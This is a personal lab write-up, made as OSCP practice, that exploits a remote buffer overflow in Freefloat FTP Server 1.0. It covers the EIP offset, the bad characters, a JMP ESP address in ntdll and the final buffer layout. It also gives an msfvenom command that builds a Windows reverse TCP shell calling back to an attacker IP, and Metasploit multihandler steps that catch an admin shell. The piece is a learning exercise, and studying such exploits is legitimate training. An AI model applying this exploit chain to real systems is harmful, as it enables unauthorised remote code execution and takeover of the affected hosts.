Exploiting Freefloat FTP Server 1.0 - 'REST' / 'PASV' Remote Buffer Overflow Vulnerability
I really enjoy playing around with these memory corruption exploits so I thought I’d start doing writeups on the buffer overflow vulns I use for practice while working toward the OSCP.
The goal is twofold: to refine my exploit development procedures and to improve my ability to convey technical concepts such that someone can follow my instructions and achieve similar results.
The proof of concept exploit and vulnerable application executables are available on Exploit-DB here: https://www.exploit-db.com/exploits/17546.
Target Environment Prerequisites:
- OS: Windows 7 32-bit (mine has FLARE VM installation)
- Freefloat FTP Server (Win32) running as Administrator
- ASLR disabled via registry
- DEP disabled via bcdedit.exe
- Windows Firewall off
- Immunity debugger w/ Mona
Exploiting the Vulnerability
Determine or Validate Offset
-
Use
msf-pattern_create -l 500
to generate a payload of length 500 based on the original proof of concept. Use this payload as thebuf
value. -
Send the payload to the vulnerable FTP server and note the contents of EIP at crash time.
-
Use
msf-pattern_offset -q 41326941
to locate the value that overwrites EIP at crash time. -
Using the debugger, view the code for FTPServer.exe in the CPU (Window > Executable Modules > Right click FTPServer.exe > View code in CPU). In the upper right Registers pane, validate that the EIP is overwritten with 4 ‘B’ s (
42424242
) at crash time after sending the payloadbuf = 'A' * 246 + 'B' * 4
.
The offset value determines where the shellcode will be placed within the buffer structure.
Conduct Bad Character Analysis
-
Determine bad shellcode characters by sending all possible characters after the offset and 4 ‘B’s (space for memory address) and observing where the payload is truncated (bad characters: \x00\x0a\x0d\xff). In the screenshot below, I have removed the offending bad characters from the payload. I included
\xff
in my final msfvenom command but didn’t observe it causing issues in the hex dump. - Search for 42424242 in the lower right stack pane (Right click pane > Search for binary string, enter 42424242 in HEX box), copy (right click memory address > Copy to clipboard) the memory address of the location, right click the lower left pane, and use the Go To function to locate that memory address. As shown in the screenshot below, the memory address is the very first value of what’s copied from the stack pane. The others are two representations of the values at that address. Remove them before clicking OK.
- The first value in the hex dump for that memory address should be 01 from the bad character buffer. Repeat the process until the entire buffer can be sent without causing truncation.
Bad characters are used as an input to msfvenom when it’s time to generate shellcode for the target system.
Redirect Execution Flow
-
Analyze a supporting executable module with Mona to locate a JMP ESP instruction. Use
!mona find -s "\xff\xe4" -m ntdll.dll
to locate a JMP ESP instruction. I started with ntdll since it’s used in the proof of concept. One of the JMP ESP instructions from ntdll can be used to redirect the execution flow of the program to some shellcode. As shown in the screenshot below, the memory addresses for JMP ESP instructions are77f1e871
,77f472d9
, and77f60ad0
. -
Set a breakpoint at the JMP ESP instruction at
77f1e871.
View the ntdll module in the CPU (Click Window > Executable Modules > Right click ntdll > View Code in CPU). Locate the instruction (Right click the upper left pane > Follow Expression and enter the JMP ESP memory address). Right click its memory address > Breakpoint > Toggle or highlight the address and press F2 to set a breakpoint. -
Send the payload with JMP ESP address in little endian format (
\x71\xe8\xf1\x77
) in place of the 4 ‘B’s. Execution breaks at the JMP ESP instruction. After continuing past the breakpoint (Debug > Step Over), the program crashes when execution flow hits the contents of the memory address pointed to by ESP. As shown in the screenshot below, ESP points to memory address02c3fc00
at crash time. The area which is currently full of ‘C’ characters will hold the shellcode.
Once program execution flow is attacker-controlled, the real fun begins!
Make it Dangerous
-
Generate shellcode for the target system. While debugging the executable, I noticed references to SEH (structured exception handling), so that’s what I did for the EXITFUNC in msfvenom and multihandler options. shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker IP> LPORT=443 EXITFUNC=seh -f c -b '\x00\x0a\x0d\xff' -e x86/shikata_ga_nai
-
Craft the final buffer structure. Replace the ‘C’ characters with reverse shell shellcode. I added the NOPs for padding before the shellcode based on the original proof of concept and padded with a couple of NOPs after the shellcode. final buffer structure:
buf = "\x41" * 246 + '\x71\xe8\xf1\x77' + '\x90' * 20 + shellcode + '\x90' * 2
Get That Shell
-
Configure a Metasploit multihandler with options that match the shellcode configuration and start a listener. I usually run it with
exploit -j
to let the multihandler run in the background as a job. -
Send the payload to the vulnerable host on port 21. Receive admin shell with multihandler. Type
sessions -i <session #>
to drop into the remote command shell.
That’s about it, y’all. Happy hacking! 🔮🔥🐚